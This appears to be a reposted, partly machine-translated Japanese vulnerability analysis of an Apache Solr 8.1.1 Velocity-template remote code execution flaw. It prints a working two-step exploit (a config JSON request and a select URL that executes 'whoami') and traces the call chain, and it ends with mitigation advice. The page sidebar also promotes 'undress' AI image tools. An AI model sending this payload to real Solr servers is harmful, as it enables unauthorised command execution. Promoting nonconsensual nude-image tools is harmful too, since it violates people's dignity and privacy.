目次
はじめに
脆弱性の再発
Principle
ホームページ 運用・保守 安全性 Apache Solr の最新の RCE 脆弱性を分析する方法

Apache Solr の最新の RCE 脆弱性を分析する方法

May 25, 2023 pm 06:58 PM
rce apache solr

はじめに

Apache Solr は RCE 0day 脆弱性を発見しました (脆弱性番号は示されていません)。ここでは便宜上、オブジェクトを単純に再現し、RCE プロセス全体を分析します。を参照してください。

脆弱性の再発

再現バージョン: 8.1.1

RCE を実装するには、2 つのステップに分ける必要があります。まず、アプリケーションに特定のコアが有効になっている場合 (Core Admin で表示できます)、インスタンス内のアプリケーションでは mycore が有効になっています。

怎样进行Apache Solr最新RCE漏洞分析

次に、最初に次の json データを構成インターフェイスに送信します。

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
ログイン後にコピー

怎样进行Apache Solr最新RCE漏洞分析

次に、次の URL にアクセスして RCE を実装します。

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
ログイン後にコピー

Principle

まず、最初のデータ パケットを分析します。 mycore、最初に ブレークポイントは、構成リクエストを処理する SolrConfigHandler の handleRequestBody 関数に設定されます。

怎样进行Apache Solr最新RCE漏洞分析

これは POST リクエストであるため、handlePOST 関数 ## をフォローアップします。

怎样进行Apache Solr最新RCE漏洞分析

##handlePOST では、まず mycore の現在の設定を取り出し、送信した設定と同時にそれを handleCommands 関数に取り込み、その後の操作で最後にaddNamedPlugin 関数を入力して VelocityResponseWriter オブジェクトを作成します。オブジェクトの solr.resource.loader.enabled および params.resource.loader.enabled の値は true に設定され、オブジェクトの名前は Velocity です。

怎样进行Apache Solr最新RCE漏洞分析

次に、2 番目のデータ パケットを送信するときに、HttpSolrCall.call で responseWriter を取得するときに、パラメーター wt の値に従って、responseWriter オブジェクトが取得されます。速度、私たちが取得するものは、慎重に設定した VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

です。後続の一連の呼び出しの後、最終的に最高速度に入ります。 VelocityResponseWriter.write 関数は、最初に createEngine 関数を呼び出して、custom.vrm->payload の悪意のあるテンプレートを含むエンジンを生成します。

怎样进行Apache Solr最新RCE漏洞分析

悪意のあるテンプレートが配置されます。エンジン内 ここで、overridingProperties の params.resource.loader.instance と solr.resource.loader.instance に非常に重要な点があります。 params.resource を入力するには .loader.instance と solr.resource.loader.instance で、paramsResourceLoaderEnabled と solrResourceLoaderEnabled が True であることを確認する必要があります。これが最初のデータ パケットの動作です、

怎样进行Apache Solr最新RCE漏洞分析#その後、VelocityResponseWriter.getTemplate は、送信した v.template パラメーターに基づいて構築した悪意のあるテンプレートを取得します

怎样进行Apache Solr最新RCE漏洞分析最後に、悪意のあるテンプレートを取り出し、そのマージ メソッドを呼び出します,

怎样进行Apache Solr最新RCE漏洞分析このテンプレートを理解するには、Velocity Java テンプレート エンジン (このテンプレートは org.apache.velocity.Template クラス オブジェクトであるため) を理解し、公式のテンプレートを翻訳する必要があります。以下のように、

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
ログイン後にコピー

この文から、このテンプレート エンジンには Java コードを実行する機能があることがわかります。基本的な書き方を理解するだけで十分です。基本的な構文の紹介でペイロードの構築方法を理解することができますが、より深く理解したい場合は、Velocity Java の情報をご自身で確認していただけますので、ここでは詳細な説明は省略します。

つまり、最後に呼び出された悪意のあるテンプレートのマージ メソッドにより、RCE が正常に発生し、最終的にキー コール チェーンが追加されました。 怎样进行Apache Solr最新RCE漏洞分析

改修計画

現在、正式パッチは提供されていないため、Solrへのアクセスを制限することをお勧めします。

以上がApache Solr の最新の RCE 脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)